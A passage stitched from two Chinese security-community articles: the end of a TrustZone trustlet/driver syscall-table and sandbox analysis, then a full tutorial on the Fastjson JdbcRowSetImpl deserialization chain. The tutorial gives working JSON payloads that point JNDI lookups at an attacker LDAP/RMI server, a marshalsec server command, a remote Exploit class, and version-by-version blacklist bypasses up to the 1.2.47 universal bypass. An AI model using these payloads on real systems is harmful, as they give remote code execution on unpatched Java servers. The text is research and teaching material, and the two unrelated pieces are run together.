ROM:07D0BE38 DCD tlApiWaitNotification+1; 6
ROM:07D0BE38 DCD tlApiNotify+1 ; 7
ROM:07D0BE38 DCD tlApi_callDriver+1 ; 8
ROM:07D0BE38 DCD tlApiWrapObjectExt+1; 9
ROM:07D0BE38 DCD tlApiUnwrapObjectExt+1; 10
ROM:07D0BE38 DCD tlApiGetSuid+1 ; 11
ROM:07D0BE38 DCD tlApiSecSPICmd+1 ; 12
ROM:07D0BE38 DCD tlApiCrAbort+1 ; 13
ROM:07D0BE38 DCD tlApiRandomGenerateData+1; 14
ROM:07D0BE38 DCD tlApiGenerateKeyPair+1; 15
ROM:07D0BE38 DCD tlApiCipherInitWithData+1; 16
ROM:07D0BE38 DCD tlApiCipherUpdate+1 ; 17
ROM:07D0BE38 DCD tlApiCipherDoFinal+1; 18
ROM:07D0BE38 DCD tlApiSignatureInitWithData+1; 19
ROM:07D0BE38 DCD tlApiSignatureUpdate+1; 20
ROM:07D0BE38 DCD tlApiSignatureSign+1; 21
ROM:07D0BE38 DCD tlApiSignatureVerify+1; 22
ROM:07D0BE38 DCD tpiApiMessageDigestInitWithData+1; 23
ROM:07D0BE38 DCD tlApiMessageDigestUpdate+1; 24
ROM:07D0BE38 DCD tlApiMessageDigestDoFinal+1; 25
ROM:07D0BE38 DCD tlApiGetVirtMemType+1; 26
ROM:07D0BE38 DCD tlApiDeriveKey+1 ; 27
ROM:07D0BE38 DCD tlApiMalloc+1 ; 28
ROM:07D0BE38 DCD tlApiRealloc+1 ; 29
ROM:07D0BE38 DCD tlApiFree+1 ; 30
(...)
ROM:07D0BE38 DCD tlApiGetIDs+1 ; 43
(...)
ROM:07D0BE38 DCD tlApiRandomGenerateData_wrap+1; 83
ROM:07D0BE38 DCD tlApiCrash+1 ; 84
ROM:07D0BE38 DCD tlApiEndorse+1 ; 85
ROM:07D0BE38 DCD tlApiTuiGetScreenInfo+1; 86
ROM:07D0BE38 DCD tlApiTuiOpenSession+1; 87
ROM:07D0BE38 DCD tlApiTuiCloseSession+1; 88
ROM:07D0BE38 DCD tlApiTuiSetImage+1 ; 89
ROM:07D0BE38 DCD tlApiTuiGetTouchEvent+1; 90
ROM:07D0BE38 DCD tlApiTuiGetTouchEventsLoop+1; 91
ROM:07D0BE38 DCD tlApiDrmProcessContent+1; 92
ROM:07D0BE38 DCD tlApiDrmOpenSession+1; 93
ROM:07D0BE38 DCD tlApiDrmCloseSession+1; 94
ROM:07D0BE38 DCD tlApiDrmCheckLink+1 ; 95
ROM:07D0BE38 DCD tlApiDeriveKey_wrapper+1; 96
ROM:07D0BE38 DCD tlApiUnwrapObjectExt_wrapper+1; 97
ROM:07D0BE38 DCD tlApiGetSecureTimestamp+1; 98
## 十三、drApi
ROM:07D0C114 ; int drApi_syscall_table[62]
ROM:07D0C114 drApi_syscall_table DCD drApiGetVersion+1 ; 0
ROM:07D0C114 ; DATA XREF: get_syscall_fn+30↑o
ROM:07D0C114 ; ROM:off_7D0A9F8↑o
ROM:07D0C114 DCD drApiExit+1 ; 1
ROM:07D0C114 DCD drApiMapPhys+1 ; 2
ROM:07D0C114 DCD drApiUnmap+1 ; 3
ROM:07D0C114 DCD drApiMapPhysPage4KBWithHardware+1; 4
ROM:07D0C114 DCD drApiMapClient+1 ; 5
ROM:07D0C114 DCD drApiMapClientAndParams+1; 6
ROM:07D0C114 DCD drApiAddrTranslateAndCheck+1; 7
ROM:07D0C114 DCD drApiGetTaskid+1 ; 8
ROM:07D0C114 DCD drApiTaskidGetThreadid+1; 9
ROM:07D0C114 DCD drApiGetLocalThreadId+1; 10
ROM:07D0C114 DCD drApiStartThread+1 ; 11
ROM:07D0C114 DCD drApiStopThread+1 ; 12
ROM:07D0C114 DCD drApiResumeThread+1 ; 13
ROM:07D0C114 DCD drApiThreadSleep+1 ; 14
ROM:07D0C114 DCD drApiSetThreadPriority+1; 15
ROM:07D0C114 DCD drApiIntrAttach+1 ; 16
ROM:07D0C114 DCD drApiIntrDetach+1 ; 17
ROM:07D0C114 DCD drApiWaitForIntr+1 ; 18
ROM:07D0C114 DCD drApiTriggerIntr+1 ; 19
ROM:07D0C114 DCD drApiIpcWaitForMessage+1; 20
ROM:07D0C114 DCD drApiIpcCallToIPCH+1; 21
ROM:07D0C114 DCD drApiIpcSignal+1 ; 22
ROM:07D0C114 DCD drApiIpcSigWait+1 ; 23
ROM:07D0C114 DCD drApiNotify+1 ; 24
ROM:07D0C114 DCD drApiSystemCtrl+1 ; 25
ROM:07D0C114 DCD sub_7D0A2CE+1 ; 26
ROM:07D0C114 DCD drApiVirt2Phys+1 ; 27
ROM:07D0C114 DCD drApiCacheDataClean+1; 28
ROM:07D0C114 DCD drApiCacheDataCleanAndInvalidate+1; 29
ROM:07D0C114 DCD drApiNotifyClient+1 ; 30
ROM:07D0C114 DCD drApiThreadExRegs+1 ; 31
ROM:07D0C114 DCD drApiInstallFc+1 ; 32
ROM:07D0C114 DCD drApiIpcUnknownMessage+1; 33
ROM:07D0C114 DCD drApiIpcUnknownException+1; 34
ROM:07D0C114 DCD drApiGetPhysMemType+1; 35
ROM:07D0C114 DCD drApiGetClientRootAndSpId+1; 36
ROM:07D0C114 DCD drApiCacheDataCleanRange+1; 37
ROM:07D0C114 DCD drApiCacheDataCleanAndInvalidateRange+1; 38
ROM:07D0C114 DCD drApiMapPhys64+1 ; 39
ROM:07D0C114 DCD drApiMapPhys64_2+1 ; 40
ROM:07D0C114 DCD drApiVirt2Phys64+1 ; 41
ROM:07D0C114 DCD drApiGetPhysMemType64+1; 42
ROM:07D0C114 DCD drApiUpdateNotificationThread+1; 43
ROM:07D0C114 DCD drApiRestartThread+1; 44
ROM:07D0C114 DCD drApiGetSecureTimestamp+1; 45
ROM:07D0C114 DCD drApiFastCall+1 ; 46
ROM:07D0C114 DCD drApiGetClientUuid+1; 47
ROM:07D0C114 DCD sub_7D0A2AC+1 ; 48
ROM:07D0C114 DCD drApiMapVirtBuf+1 ; 49
ROM:07D0C114 DCD drApiUnmapPhys2+1 ; 50
ROM:07D0C114 DCD drApiMapPhys2+1 ; 51
ROM:07D0C114 DCD drApiUnmapVirtBuf2+1; 52
ROM:07D0C114 DCD sub_7D07D76+1 ; 53
ROM:07D0C114 DCD sub_7D0A558+1 ; 54
ROM:07D0C114 DCD sub_7D0A574+1 ; 55
ROM:07D0C114 DCD sub_7D0A5D6+1 ; 56
ROM:07D0C114 DCD sub_7D0A738+1 ; 57
ROM:07D0C114 DCD sub_7D0A1BA+1 ; 58
ROM:07D0C114 DCD sub_7D0A1C8+1 ; 59
ROM:07D0C114 DCD sub_7D0A5F4+1 ; 60
ROM:07D0C114 DCD sub_7D0A60C+1 ; 61
## 十四、沙盒机制
1. 内核和RTM都会维持其自身到Trustlet或驱动的进程实例映射，并维持进程的虚拟地址空间映射。
2. 内核会对SVC调用者的类型进行检查，限制于驱动。RTM也会对IPC调用者的类型进行检查，同样限制于驱动。上述并不是一个核心机制，但必须针对每个案例正确执行。这一点，类似于Linux上的access_ok()检查。
3. 这二者共同防止了将其他Trustlet的虚拟内存或任何物理内存（包括不安全世界）映射到驱动的可能性。但驱动仍然不能映射RWX内存，也不能在自己的代码页映射任何内容。
4. 驱动程序可以使用SVC，从内核获取并得到发出当前请求Trustlet的UUID。这样可以用来过滤哪些客户端（Trustlet）应该被允许访问驱动的功能。
5. 驱动可以使用SVC，将不安全世界或安全世界的物理内存映射到其地址空间，也可以使用SVC来注册自定义的快速调用处理器，使其能够直接从安全世界的EL1执行代码。实际上，这使得驱动拥有和安全世界EL1一样的特权。
## 十五、漏洞利用缓解措施（Trustlet和驱动）
1. 分为RX代码页和RW数据页；
2. 使栈/bss段/堆之间没有界限；
3. 映射到Trustlet的WSM和映射到驱动的Trustlet内存，应该存储于独立的内存区域中；
4. 关闭Stack Canaries保护机制，关闭ASLR保护机制。
原文链接：
[1] <https://medium.com/taszksec/unbox-your-phone-part-i-331bbf44c30c>
[2] <https://medium.com/taszksec/unbox-your-phone-part-ii-ae66e779b1d6> | 社区文章 |
# Java安全之FastJson JdbcRowSetImpl 链分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
续上文的[Fastjson
TemplatesImpl链分析](https://www.cnblogs.com/nice0e3/p/14601670.html)，接着来学习`JdbcRowSetImpl`
利用链，`JdbcRowSetImpl`的利用链在实际运用中较为广泛，这个链基本没啥限制条件，只需要`Json.parse(input)`即可进行命令执行。
## 0x01 漏洞分析
### 利用限制
首先来说说限制，基于JNDI+RMI或JDNI+LADP进行攻击，会有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
### 攻击流程
1. 首先是这个lookup(URI)参数可控
2. 攻击者控制URI参数为指定为恶意的一个RMI服务
3. 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
4. 目标在进行`lookup()`操作时，会动态加载并实例化Factory类，接着调用`factory.getObjectInstance()`获取外部远程对象实例；
5. 攻击者可以在Factory类文件的静态代码块处写入恶意代码，达到RCE的效果；
### JDNI注入细节
简单分析一下lookup参数可控后，如何走到RCE.
调用链：
* -> RegistryContext.decodeObject()
* -> NamingManager.getObjectInstance()
* -> factory.getObjectInstance()
* -> NamingManager.getObjectFactoryFromReference()
* -> helper.loadClass(factoryName);
loadclass进行实例化，触发静态代码块的Runtime代码执行命令执行。
### 调试分析
影响版本：fastjson <= 1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。
* **[@type](https://github.com/type "@type")：**目标反序列化类名；
* **dataSourceName：** RMI注册中心绑定恶意服务；
* **autoCommit** ：在Fastjson JdbcRowSetImpl链中反序列化时，会去调用setAutoCommit方法。
详细分析fastjson如何解析可查看[Fastjson
TemplatesImpl链分析](https://www.cnblogs.com/nice0e3/p/14601670.html)文章，再次不做赘诉。
启动LDAP服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit代码，需将代码编译成class文件然后挂在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC代码：
package com.nice0e3;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
看到payload中的`dataSourceName`参数在解析时候则会调用`setDataSourceName`对`DataSourceNamece`变量进行赋值，来看到代码
而`autoCommit`也一样会调用`setAutoCommit`
`setAutoCommit`方法调用`this.connect();`
lookup中则是传入了`this.getDataSourceName()`，返回dataSource变量内容。而这个dataSource内容则是在前面`setDataSourceName`方法中进行设置的，该参数是可控的。所以可以进行JDNI注入从而达到命令执行。
### 利用链
* -> JdbcRowSetImpl.execute()
* -> JdbcRowSetImpl.prepare()
* -> JdbcRowSetImpl.connect()
* -> InitialContext.lookup(dataSource)
而在Fastjson JdbcRowSetImpl 链利用中，则是利用了后半段。
## 0x02 绕过方式
### 1.2.25版本修复
先将Fastjson组件升级到1.2.25版本后进行发送payload，查看是否能够利用成功。
修复改动：
1. 自从1.2.25 起 autotype 默认为False
2. 增加 checkAutoType 方法，在该方法中进行黑名单校验，同时增加白名单机制
[Fastjson
AutoType说明](https://github.com/alibaba/fastjson/wiki/enable_autotype)
根据官方文档开启AutoType的方式，假设不开启该功能是无法进行反序列化的。因为默认白名单是空的，需要自定义。白名单的绕过基本不可能，都是从黑名单作为入口。白名单需要添加，而黑名单中则是内置在Fastjson中。
#### 1、JVM启动参数
-Dfastjson.parser.autoTypeSupport=true
#### 2、代码中设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
下面来看代码，这里使用了IDEA中的jar包对比功能
可以看到`DefaultJSONParser`发送了变动，在这里多了一个`checkAutoType`方法去做校验。
跟进方法查看
前面会进行白名单的校验，如果匹配中的话调用loadClass加载，返回一个Class对象。 这里默认白名单的列表为空。
后面这则是会恶意类的黑名单进行匹配，如果加载类的前面包含黑名单所定义的字符则抛出异常。
### 1.2.25-1.2.41 绕过
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
先来调试不开启的情况，前面依旧就会遍历黑名单对class进行赋值，但最后这个会去检测如果未开启，则直接抛异常，开启则会去返回。
将注释打开后，则直接返回class
命令执行成功。但是可以看到前面的class是`Lcom.sun.rowset.JdbcRowSetImpl`为什么也会触发命令执行？
原因在于`com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName,
this.defaultClassLoader);`方法中，可跟进查看。
这里解析到内容如果为`L`开头，`;`结尾的话就会将这2个字符清空，前面其实还有一个`[`。
### 1.2.42 修复方式
修复改动：明文黑名单改为HASH值,`checkcheckAutoType`方法添加`L`和`;`字符过滤。
加密方法位于`com.alibaba.fastjson.util.TypeUtils#fnv1a_64`可将进行碰撞获取值。
### 1.2.42绕过方式
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
在`com.alibaba.fastjson.parser#checkcheckAutoType`中将`L`和`;`进行清空。这里是利用了双写的方式，前面的规则将第一组`L`和`;`，进行清空，而在`TypeUtils.loadclass`中将第二组内容清空。
### 1.2.43 修复方式
在1.2.43版本中对了LL开头的绕过进行了封堵
//hash计算基础参数 long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L开头，；结尾 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { //LL开头 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
再次执行poc代码可以看到报错了。
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
### 1.2.43 绕过方式
前面可以看到`[`也进行了清空，可以从该地方进行入手。
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
执行报错了，报错信息如下：
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43 at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
提示缺少了一个`{`
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
### 1.2.44 修复方式
将`[`进行限制，具体实现可自行查看。
再次执行前面的poc代码可以看到报错了。
### 1.2.45绕过方式
利用条件需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}"; JSON.parse(PoC); }}
下面来分析一下使用这个payload为什么能绕过。其实是借助了`org.apache.ibatis.datasource.jndi.JndiDataSourceFactory`进行绕过，`org.apache.ibatis.datasource.jndi.JndiDataSourceFactory`并不在黑名单中。
这里是对反序列化后的对象是`org.apache.ibatis.datasource.jndi.JndiDataSourceFactory`
传入`properties`参数，则会去自动调用`setProperties`
而在1.2.46无法执行成功，应该是对该类拉入了黑名单中。
## 1.2.25-1.2.47通杀
为什么说这里标注为通杀呢，其实这里和前面的绕过方式不太一样，这里是可以直接绕过`AutoTypeSupport`，即便关闭`AutoTypeSupport`也能直接执行成功。
先来看payload
public class POC { public static void main(String[] args) { String PoC = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(PoC); }}
可以看到payload和前面的payload构造不太一样，这里来分析一下。
这里未开启`AutoTypeSupport`不会走到下面的黑白名单判断。
fastjson会使用 `checkAutoType` 方法来检测`[@type](https://github.com/type
"@type")`中携带的类，但这次我们传入的是一个`java.lang.class`
来看到`com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject`方法中
跟进`deserialze`方法查看，这里的`deserialze`是`MiscCodec#deserialze`
上面代码会从`objVal = parser.parse();`获取内容为`com.sun.rowset.JdbcRowSetImpl`。来看到下面
if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}
这里使用了`TypeUtils.loadClass`函数加载了`strVal`，也就是JdbcRowSetlmpl，跟进发现会将其缓存在map中。
这里的true参数代表开启缓存，如果开启将恶意类存储到mapping中
断点来到`com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType`
因为前面将`com.sun.rowset.JdbcRowSetImpl`所以这里能获取到`com.sun.rowset.JdbcRowSetImpl`该判断不为true，从而绕过黑名单。
而后续则是和前面的一样，通过`dataSourceName`触发对于的set方法将`dataSourceName`变量进行设置，而后通过`autoCommit`,触发`setAutoCommit`触发`lookup()`达到命令执行。
### 参考文章
https://xz.aliyun.com/t/9052
https://xz.aliyun.com/t/7027
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
http://wjlshare.com/archives/1526
## 0x03 结尾
其实后面还有几个绕过的方式后面再去做分析，除此外还有一些BCEL来解决fastjson不出网回显等方面都值得去思考和研究。如有不对望师傅们指出。 | 社区文章 |
Subsets and Splits